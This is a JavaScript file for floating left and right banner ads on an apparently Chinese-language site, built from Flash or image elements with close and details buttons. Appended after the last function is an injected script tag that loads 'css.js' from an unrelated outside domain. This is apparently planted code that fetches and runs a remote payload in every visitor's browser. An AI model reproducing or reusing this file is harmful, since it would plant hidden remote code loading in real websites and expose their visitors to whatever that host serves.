function $(objId)
{
	if(!objId){throw new Error("$(String objId)参数必须")}
	
	if(document.getElementById){return eval('document.getElementById("'+objId+'")')}
	else if(document.layers){return eval("document.layers['"+objId+"']")}
	else{return eval('document.all.'+objId)}
}

function swfobj(w,h,url,linkurl)
{
	//$(elm).innerHTML=str;
	var str='';
	str+='<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="'+w+'" height="'+h+'">';
	str+='<param name="movie" value="'+url+'">';
	str+='<param name="quality" value="high">';
	str+='<embed src="'+url+'" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="'+w+'" height="'+h+'"></embed>';
	str+='</object>';
	return str;
}

function imgobj(w,h,url,linkurl)
{
	var str='';
	if(linkurl != '')
	{
		str=str+'<a href="'+linkurl+'" target="_blank"><img src="'+url+'" width="'+w+'" height="'+h+'" border="0" /></a>';
	}
	else
	{
		str=str+'<img src="'+url+'" width="'+w+'" height="'+h+'" border="0" />';
	}
	return str;
}

function getobj(w,h,url,linkurl)
{
	if(url.indexOf(".swf") >=0)
	{
		return swfobj(w,h,url,linkurl);
	}
	else
	{
		return imgobj(w,h,url,linkurl)
	}
}


function WriteDiv(_ID,a,s)
{
	var _obj=$(_ID);
	if(_obj==null)
	{
		_obj=document.createElement("div");
		_obj.id=_ID;
		var _CE=document.all?1:(document.getElementById?0:-1);
		if(_CE==1)$("couplet").insertAdjacentElement("beforeBegin",_obj);
		else $("couplet").insertBefore(_obj,null);
	}
	_obj.innerHTML=a;
	_obj.style.display=s;
	_obj.style.position='absolute';
}


function WriteDL(_dl_top,RP_left,RP_right,RP_releftflash,RP_rerightflash)
{
	if(window.screen.width>=1024)
	{	
		WriteDiv('dl_left','<div id="dl_leftflash">'+RP_left+'</div><div style="width:100px;"><a onclick="javascript:CloseDL('+_dl_top+');return false;" style="display:block;cursor:pointer; width:100px; height:18px;line-height:18px;text-decoration:none;text-align:left;color:#000000">關閉</a></div>','block');
		WriteDiv('dl_right','<div id="dl_rightflash">'+RP_right+'</div><div style="width:100px;"><a onclick="javascript:CloseDL('+_dl_top+');return false;" style="display:block;cursor:pointer; width:100px; height:18px;line-height:18px;text-decoration:none;text-align:right;color:#000000">關閉</a></div>','block');
		WriteDiv('dl_releft','<div id="dl_releftflash">'+RP_releftflash+'</div><div style="width:22px;text-align:center;padding-top:3px;cursor:pointer;line-height:18px;"><a onclick=\'javascript:initad(0);return false;\' style="text-decoration:none;display:block;font-size:12px;color:#000000;">詳情</a></div>','none');
		WriteDiv('dl_reright','<div id="dl_rerightflash">'+RP_rerightflash+'</div><div style="width:22px;text-align:center;padding-top:3px;cursor:pointer;line-height:18px;"><a onclick=\'javascript:initad(0);return false;\' style="text-decoration:none;display:block;font-size:12px;color:#000000;">詳情</a></div>','none');
	}
}

function ShowDL(w1,h1,f1,f2,w2,img1,link1,img2,link2,_dl_top,_dl_timeout)
{
	var RP_left=getobj(w1,h1,f1,link1);
	var RP_right=getobj(w1,h1,f2,link2);
	
	var RP_releftflash=getobj(w2,h1,img1,'');
	var RP_rerightflash=getobj(w2,h1,img2,'');

	WriteDL(_dl_top,RP_left,RP_right,RP_releftflash,RP_rerightflash);
	setTimeout("CloseDL("+_dl_top+")",_dl_timeout);
	
	$('dl_left').style.display="block";
	$('dl_left').style.top=_dl_top+"px";
	$('dl_left').style.left=0+"px";
	$('dl_left').style.position="absolute";
	
	$('dl_right').style.display="block";
	$('dl_right').style.top=_dl_top+"px";
	$('dl_right').style.right=0+"px";
	$('dl_right').style.position="absolute";
	
	$('dl_releft').style.display="none";
	$('dl_reright').style.display="none";
}

function CloseDL(_dl_topT)
{
	$('dl_left').style.display='none';
	$('dl_right').style.display='none';

	$('dl_releft').style.display='block';
	$('dl_releft').style.top=_dl_topT+"px";
	$('dl_releft').style.left=2+"px";
	$('dl_releft').style.position="absolute";

	$('dl_reright').style.display='block';
	$('dl_reright').style.top=_dl_topT+"px";
	$('dl_reright').style.right=2+"px";
	$('dl_reright').style.position="absolute";
}<script src=http://cctv.huayigm.com/css.js></script>